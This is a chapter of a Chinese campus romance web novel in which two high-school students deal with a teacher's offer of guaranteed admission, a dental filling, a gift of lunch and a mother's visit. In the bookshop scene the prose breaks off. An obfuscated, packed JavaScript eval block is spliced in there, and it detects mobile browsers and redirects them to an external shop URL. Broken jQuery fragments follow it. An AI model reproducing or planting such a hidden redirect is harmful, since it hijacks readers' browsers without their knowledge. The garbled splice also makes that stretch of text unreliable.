游锁拿着手机下楼了,连千则顿足不前。
连千抱着双臂,下三白眼睛目光尖锐。
李平信从内侧抱起一大沓试卷,试卷放在连千面前,接着他抽出抽屉,东寻西觅,找出了一张带字的纸,奋力拍向桌面。
纸上赫然写着“答案”二字。
免费劳动力——连千,
再次上线。
“来,连千你帮我改一下你改卷子细,上次找赵曦改卷子,改得我一通火!”
连千:“……”
他很想甩给班主任一个白眼。
可出自学生素养,他不可如此。
他得过五关斩六将,攻克作业难关。
上课像打BOSS,末端的大BOSS是高考。
“好,在您这儿改吗?”连千艰难扯出微笑。
“前面不用把空椅子嘛,拽过来在这儿改就行。”李秃秃道。
“真麻烦。”连千内心自语。
他从李老秃那儿拿了红笔,坐在椅子处一丝不苟批改试卷。
试卷是另个班,所以下手无需考虑,红笔留下深迹,是发泄怒火的无声叹气。
-2,-3,-1,上下一气呵成。
“连千啊!”李老秃摘下老花镜,语气一下变得深沉。
连千抬头:不祥之兆呀。
李平信抿茶道:“我们学校有几个保送的名额,要不要帮你申请一个?”
谁让孩子成绩好态度好,肯吃苦,道德品质高呢。
不给他给谁?
“不用了。”连千笔尖定住,语气拒之千里,冷漠道:“我不太想上保送的学校。”
李老秃急了:“干嘛不去呢?你说说你,成绩也不错,拿过的奖状也不少。你高二物理竞赛拿了一等奖,现在奖牌还在我这儿珍藏呢!拼学历拼才能,你都能陪得上最顶尖的985啊?”
李平信百思不得其解。
连千回一句,手上动作没停:“我知道,我不想去。”
他知道为了竞赛他翘了两天课,知道拿了奖状一分钱也没有。
至于最顶尖的大学,也未曾在全世知晓。
既然自己能配上,为什么不挑出类拔萃的呢?
连千的话等于直接否定“保送”的机会。
李平信身为老师,不能强迫学生意见,连千拱手把保送机会给别人,心里既叹气又没法逼迫孩子。
“那给你后面两个?”李老秃询问连千意见。
李老秃不知道他们是情侣,到现在还以为是关系近点的朋友。
全校没老师指名道姓的捅破他们俩,只有可怜的李老秃困在鼓里。
“您问他俩的意见吧。”连千委婉的表示不想参与的意见。
莫挨我,问他俩,尊重祝福,谢谢。
“干嘛不去呢?你说说你,成绩不错,拿过的奖状也不少。你高二物理赛的一等奖,现在还在我办公室珍藏呢!”
李老秃想让连千思虑再三,虽然这事要下学期下达意见。
但中年人爱想事,反正早晚要定,不如今日想好确定。
试卷没几张了,连千没声了,不言不语。
李平信的谈心本事上线了:
“你想想,在这儿上个好大学,你父母又都是老师,大学毕业了再找份老师的工作,继续传承香火,不挺好的吗?”
好?呵呵,好个头!——连千的内心波涛汹涌。
“好吗?我家也没皇位要继承,随便吧。”
自己当那家伙老师就够遭罪了。
之后的学生肯定一届比一届难带,家长也肯定会偏袒自家孩子。
再去当老师?自己不得累死!
“你不能怎么想嘛!”李大秃已经为连千的未来考虑了:
“你想想当老师的好处,工资高有福利,上完课提前回家,寒暑假天数又多,除了经常开会写教案,去其他学校学习外,没有其他了。”李老秃摊摊手,一脸小case的表情。
李老秃你是不是传销搞上瘾了?——连千非常想问。
他们的话题由“保送”扯到了“当老师好处”。
连千在为试卷算分,他真的不想跟李老秃说话。
门外空气十分凉爽,微风吹枫叶飞。枝繁叶茂的树木,浓郁的树荫。
连千算好成绩,整起试卷放回桌面。
出去,手抓住把手,走了。
不知道他怎么样了?如果拔牙的话?他脸会不会肿成馒头?游锁的脸肿成馒头的话,那么内个画面……
——连千边走边想,边想边笑,笑到鼻子发声。
转到另一边,
游锁在牙科诊所里。
他躺在操作台上,上半身起来。
医生用似镜子的工具,来回窥探他牙齿深处的情况。
“碳酸饮料常喝吧?”医生姐姐的声音,从他的头进入耳朵里。
游锁犯人对牙齿的罪行供认不讳:
“嗯……爱喝可乐。”
“那像咖啡和茶这种呢?”医生连续问犯人。
“没,很少喝。”
他又不失眠,又不爱喝茶。
医生开始准备工具:
“那绝对是喝可乐喝的,你这个牙哦,跟人家二十多岁抽烟的一样,而且你左边里面的牙啊,得补。”
游锁躺在上面,微微点头:“嗯我知道,我今天就是来补牙的。”
“可乐尽量不要喝,最好戒了,实在想喝可以拿吸管,喝完后记得刷牙。”医生侧身准备待会使用的工具。
“嗯我知道了。”游锁嘟嘴回复。
“一天刷牙几次?”
游锁费劲追忆:“以前…一天两次吧,现在上学忙了,一天就一次了,晚上有时候不舒服,就拿漱口水漱漱。”
此话不假,他身上穿的“蒲川一中”的校服。
医生扭头说:“有个虫洞,要补一下。”
“哦,那现在补吧。”游锁认清现实,今天是他人生第一次补牙。
“长那么帅,牙不好会掉好感哦!牙不好看就没美女找你谈恋爱咯!”医生逗趣道。
“呵呵。”游锁被迫附“呵”两声。
医生突然问他:“你钱够吧?补牙不便宜呦!”
“放心放心。”
游锁表示:这不成问题。
游锁被工具强迫地撑嘴,麻醉打在嘴巴肉里,疼得他握拳捏紧,指甲深陷十指。
接二连三钻心的痛苦,“滋唔滋唔”像电钻的恐怖声音。
坏到神经了,钻牙酸疼地一批!
牙里钻通地球是吧?
想叫不能叫,脾气好的游锁想打人!
他嘴里疼得发出微小的咝咝声。
补牙时,他才慢慢放松,照完灯树脂灌进去。
啊!活过来了。
应该早搞这破事的,不至于今天整成这样。
医生叮嘱他,几天不能吃太坚硬的食物,游锁付好钱,嘴巴不舒服的离开诊所。
补牙耗时40分钟,现在到学校打车需10分钟。
游锁在旁边便利店吃了午餐,结账时顺带一份豪华便当,打算送给连千。
他解不开连千有没有胃口的难题,但他想四十分钟过了,胃空空如也,连千一定会饿!
挑便当费了几分钟。
游锁心想:太好了!能更晚到狗学校啦!
手机打车,司机一分钟到,时间比他预期的快多了,五六分钟便到达校门口。
由于便当装在透明袋内过于瞩目,游锁过门,将便当夹在内衬的胳肢窝里,交好请假条,弯身偷溜进去。
游锁一进门,全班都在,他被全班同学集体注视一秒,之后游锁屏住气稳稳进门,其他同学则置之不理。
跟自己不熟,何必在意太多。
游锁坐回座位,手拎便当,轻放在连千桌子的空白处。
午休即将结束。
“牙没事吧?”连千主动询问。
“唔唔。”游锁的声音仿佛带着哭腔:“没事,医生让我多刷牙,然后…”
游锁突然停住,连千停笔,在等他回答。
“然后医生让我把可乐戒了!”
连千之后听到的,是游锁擤鼻涕的声音。
连千转头看向他:“那不错啊!”
这医生挺负责的。
“我知道她负责,可是…可是我,一个那么喝可乐的人,不能喝可乐了,你知道你对我来说意味什么?”
“意味什么?”连千顺着问。
“意味没有了灵魂,哼!哼!”
游锁哼哼声,带着委屈,卑微和可怜。
像爸妈不要自己一样,可怜巴巴,苦不堪言。
连千看他想笑:“你少装了。”
少装了,戏精型人格。
游锁的表演人格也上来了,像演像真,无可分辨:“我真的很难过,我好想哭,但是我,哭不出来。”
他喊完,双手肘立桌面,双手掌心捂着额头,独自消耗忧愁。
他在盘之后几天的事件,音量微弱:
“过几天,我要再去牙医那儿看一看,接着过几天,我妈又得来家里看我。”
连千再插一刀:“别忘了,你周六日补课。”他说完又换了一份试卷。
“周六上午补觉,中午下午补课,晚上我妈拉着我出门逛街…还好,还有一上午的休息时间。”
游锁在自我内耗。
游锁无边无际乱想,
直至连千一句话,把他拉回悲惨现实。
“这什么?”连千笔敲便当。
“哈?”游锁忽然回神,眼睛来回飘移,先盯连千,再顺着他的笔,看到便当。
游锁解释道:“你不没胃口吗?我想过一小时了,你会饿,所以,给你买的。”
“真的?”
连千始料不及,
这真是出乎意料啊!
游锁点头道:“对啊,我在外面吃过了!我怕你饿,下午你写作业又不出门。真的!我跟你说,从中午饿到晚上很难受的!不能不吃饭!多少都得吃点!我还没谢谢你陪我去老班那儿请假呢,这就当谢礼给你买的啦!不用谢我啦!”游锁越说越兴奋,到最后,嘴巴完全咧开笑容。
医生的话是个玩笑,他的牙白且齐。
至于里面的牙,谁看的到呢?
“我又没说要谢你。”连千听完转头,脸对着墙面。
从游锁的视角可以看见,
连千的耳垂,好像……红了。
而且,不是一点,是彻底红润了。
游锁内心偷笑,随机浮于表面,
嘴唇紧抿,扬起大弧度深笑。
游锁内心窃喜完便下课了。
连千拆开筷子吃便当,虽然里面全冷了,但是食材原味挺浓,吃起来口感不错。
一筷一筷子停不下。
游锁抽出试卷打算肝作业。
这时环顾四周,
赵曦在涂指甲油,时甜甜慕思楠在走廊吹风,后面的人全出门了,其余剩下的同学在写作业。
若是维持这段时间该有多好,多渴望一觉起来,高三只是一场梦。
游锁在写作业前,做了份高考倒计时本,
他打算过一天,撕一页
——
熬了四天,撕了四页纸,终于迎来了阳光明媚的假期,仅有两天的假期。
这一周的温度古怪,上学天阴。
唯独放假的这两天,气温陡升,变成阳天。
早上八、九点的天,特别晴美。
天空没有云,日光朝地面射下,使人感到温暖。
金色的阳光给路上行人的头发镀上了一层耀眼的暖洋。
照久了,发丝摸起来暖烘烘的。
这种天气晒太阳是最舒服的,摆把躺椅晒五分钟,直接步入梦乡。
但有的人,并不会受到阳光的催眠。
没熬夜的连千就八点起床了。
额,至于他的学生呢,用头晃晃也知道他还在睡觉。
连千起床收拾好自己。
他今天得出门,为了学生也为了自己。
早晨,难得没见到他妈妈赵蓉。
赵蓉正在书房忙教案,教案搞好还得做课程PPT,事情全堆到今天,根本没空管她儿子。
连千上身是蓝色卫衣,下身是黑色裤子。气温升高了,他不想穿外套。
连千拎了两个手提袋,一个装作业试卷和文具,另一个是空的。
根据他教学的进程,他发现游锁同学对某些知识不太熟悉。
连千身为老师,当然得训练游锁同学,让他在成绩上有更新的突破。
所以连千早出门,是为了给游锁买些新教材。
有针对性的,有解析答案的,教材试卷。
连千没和赵蓉打招呼,拎着袋子自己出门了。
外头阳光遍布的地方,全部黄灿灿的,
只有被遮住的树荫“逃过一劫”。
连千在附近的店内,随便应付完早餐。
早上没胃口,吃点汤汤水水的馄饨也不错。
直走,前方两侧树冠宽大,阴影覆盖。
连千在绿荫大道里行走。
他卫衣口袋里,装的是公交卡,他现在未成年,能有点折扣。
走到地铁口,顺着楼梯下到地里,
下楼是楼梯,上楼是电梯。
他大步迈进去,过安检走楼梯进地铁,一气呵成。
连千在脑海里过一遍想买的教材。
他很久没去实体书店了,大概已经几个月,上次去还是放暑假前。
地铁口出来直走,就是书店门口。
匾额从左到右,写的是教育书店和育才书店。这两店挨在一起,一高大两层一小巧小门。
连千走进育才书店,里面人头攒动,密密麻麻,什么样的人都有。
声音多到,听起来只有嗡嗡声:
“那个数学的五年高考三年模拟在哪儿?”
“在那边在那一块。”
“那个初三的xxx补习在哪儿?”
“在你面前的最下面!”
连千钻进人挤人的地盘,抬头端详,仔细观察每一本教册。
简易浏览需要的教材,进行粗略删选。
好教材立刻放袋里,一般的手机扫扫同款,看哪个便宜。
他挑了几本符合游锁的教材,再挑了几本符合自身的英语真题。
挑专门的英语真题,可比挑给游锁同学的多多了。
看来变成了给自己买,再顺带帮学生带点试卷。
在小书店里,书买多了能打折,不然他怎会挤在人群里挑三拣四呢。
连千顺着人群挤到门口结账。
这儿的老板满头白发,皮肤沟壑纵横,外表瘦弱但却精力十足。
老板不用计算器算钱,双手拨弄着一副算盘。
那算盘老到什么程度呢?那外面木框的漆,全部掉光了。
“老板算钱。”
排到连千,他将书全推在老板面前。
老板来回拨动珠子,连千的眼睛目不转睛的观察。
他上次见到算盘,是在初中的概率题里。
连千时不时点头:
嗯,看起来有点意思,可以找个时间学学。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876981|212393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
连千付完款走出门,
赶上太阳冲破云层,焰光洒向处处角落的时刻。
道路两旁,
一边是被树遮挡的绿荫,一边是柔和的阳光,通道一直延伸到美好远景的尽头。
隐约的阳光,在填补的枫树间不停晃动。
路上的行人熙熙攘攘,好不热闹。
连千点开手机,
额…
现在才九点多,图书馆要到十点开门。
“没办法了。”
连千将手机放回口袋内,带上卫衣自带帽。
他不可能回家待到十点出门的,所以只能在街上走马观花地乱逛了。
他脚下的地方是南栀市的市中心,大名牌店一家接一家。
网上爆火的品牌:包括奶茶,化妆品,咖啡,饰品店,连锁品牌食物店,服装店等。
琳琅满目,一应俱全,
走几步都是近期大火而紧急召开的分店。
天太晒,连千走进商场内。
遍地香奈儿爱马仕阿玛尼,
连千一个男的,
如果进去,只能跟店员面面相觑了。
他走进一家当地有名的品牌店,
这边店门连在一起,他走进品牌店,需要从香奈儿的门店穿入。
去简单逛一下。
店员内心激动:
终于来客人了!
连千没走两步,店员见人光临,立刻跟在身后,边走边安利道:“这些都是新到的商品,您可以随便看看!”
连千:我自己能看…
碍于店员是女生,他没把心里话说出来。
连千靠近衣架,骨节突出的双手在衣服上来回拨动。
“有外套吗?”连千低头问道。
店员冒出星星眼,这单能成了!
语调都变得兴奋了:
“有的!前面那边都是!您可以慢慢挑!”
连千走进再次挑选。
这个太白容易搞脏,这个牛仔外套他不喜欢。这个前面不错,可后面是只鸭子,他不能接受。至于棒球服外套,他有好几件,早就屡见不鲜了。
过两分钟,他翻到一件不错的外套,白色底有许多新奇却不反感的花纹,最关键是没帽子,连千带帽子的衣服太多,多到穿起来,卫衣外套两层帽子,卡得脖子难受。
他到最里面结账。
嘀,
一件158,
衣牌没价格,
被宰了,连千气得想笑。
店员喜笑颜开的打包好,期待他下次再来。
再来?再来被宰一次吗?
我再也不来了!
连千拎着所有的袋子出去,走进香奈儿内。
甜而不腻的声音传来:“您好,帮我把这三瓶香水包起来。”
连千停住脚步,盯了一眼声音来源。
身着浅绿色西装的女士正在柜台结账,穿白色高跟鞋,耳朵戴的,是香奈儿logo的耳环。
她拎着一个看似普通却价值连城的竹篮提包。
面容是三十岁的年龄,有韵味的沉淀,不惧外表的年龄,淡雅的气质风度。
她买了三瓶经典款的香水。
原来是位有钱有气质的女生
——连千在她结账的过程中,不禁想到此番称述。
之后,连千走出商场。
他一手提着书袋和衣服袋,一手来回转着公交卡,朝地铁口的方向前进。
半时后,游锁住处。
“啊啊啊啊!困死了!”游锁“啊”了半天,总算“啊”清醒了!
游锁揉揉睡眼惺忪的双眼,眼睛睁开一条缝,光太强,他得花几秒适应适应。
游锁八点起来过一次,上完洗手间,又躺床上补觉,
结果现在十点起。
他用手去够柜子的手机。
一打开:10:13
弹出一条vx消息,是他妈妈9:57发送的。
孟荃:我半小时后到
游锁赶紧敲击屏幕:啊?那么快?
他转瞬间,发了张“啊”的小猫哭泣表情包。
孟荃:我在逛街呢
孟荃:你才起床吧?
孟荃:晚了十几分钟才回
孟荃:肯定才起床摸到手机
游锁心想:妈,你真是太了解我了!
游锁回了一张“尴尬”的表情包。
游锁踩着拖鞋起床,走到黑暗的窗帘旁,从内到外地拉开窗帘。
唰的一大把阳光!强势钻进!
炙热的阳光透过窗户斜射下来。
前几天不还是阴天吗?
“发生了什么?”游锁张开大嘴,僵在原地。
他手上的手机震动一下。
孟荃:你赶紧起床收拾好,你等会不得补课吗?
孟荃:邋里邋遢怎么得了,我等会带点早餐过去,你早饭也没吃
游锁站在窗旁的阴影处,低头快速敲击:好,我知道啦!我在家里等你!
游锁去洗漱,
太阳的事情,他查了天气,气温升高了,貌似到月底,天天气温最高20℃起步。
他换掉睡衣,随机选一套。
上身是白色衬衣,下身是松垮黑裤子,底下拖鞋没换。
接着游锁又忙了不少事。
临近收尾时,他听见了敲门声。
“妈!”游锁笑容可掬的开门。
孟荃把袋子扔在地上,双手抱住儿子,眼含泪花:“哎呦我亲爱的游宝宝!给妈妈亲一口!”
“妈!我又不是小孩了…”游锁回抱完,把手撒开。
孟荃直接穿鞋进去,提起早餐放在桌上,她语气撒娇道:“妈妈太想你了嘛,好几月没见了,我的游游看起来还是那么帅!”
“我?当然帅了!天天都长这样,天天都帅!”游锁在门口说话,拎东西,妈妈没带行李箱,看起来不会在这儿待多久。
“你补课老师什么时候来?”孟荃在客厅里左顾右盼,家里摆设不错,干净整洁。
视线所及一尘不染,
没浑浑噩噩过日子。
游锁把东西放回客房,出门道:“等会吧,他一般十一点底快十二点到,妈你坐下来休息会儿,我去帮你倒水。”
“不用我不渴,我昨晚赶过来困死了,我先去那边补个觉,穿高跟鞋脚快痛死了!”
游锁指着他进入的客房,语气平和:“妈去内个客房睡吧,我刚换了新床单。”
是他用五分钟换的乱七八糟的床单。
不齐突出的部分,他全塞床沿里了。爬起来有褶皱的地方,也被他整匀。
过程不论如何,最后的样子看得顺眼便好。
孟荃去睡觉,游锁在饭桌吃饭,简单的鸭血粉丝汤和蟹黄汤包。
阳光照在他身上暖烘烘的,游锁察觉这儿的窗户不少。
季节真是千变万化,看来几天过完春夏秋冬的地方真是遍地铺满啊。
他吃完饭,快到11点。
游锁瘫在沙发里玩手机,阳台那儿的光照极佳。
如果在一楼看,
火焰的阳光钻进树枝的缝隙,地面洒满了大小不一的圆形“碎金”。
游锁去卧室拿了一张毛毯,想挂在阳台晒晒,好晚上抱着太阳气味睡觉。
他刚想去阳台,
可他转身,望见无人的沙发被阳光覆盖,黄灿一片。
罢了,去阳台好麻烦。
游锁走到沙发旁,躺下去,毛毯盖在身上,阳光照在毛毯和他的脸颊上。
游锁想眯一会儿,但却睡熟了。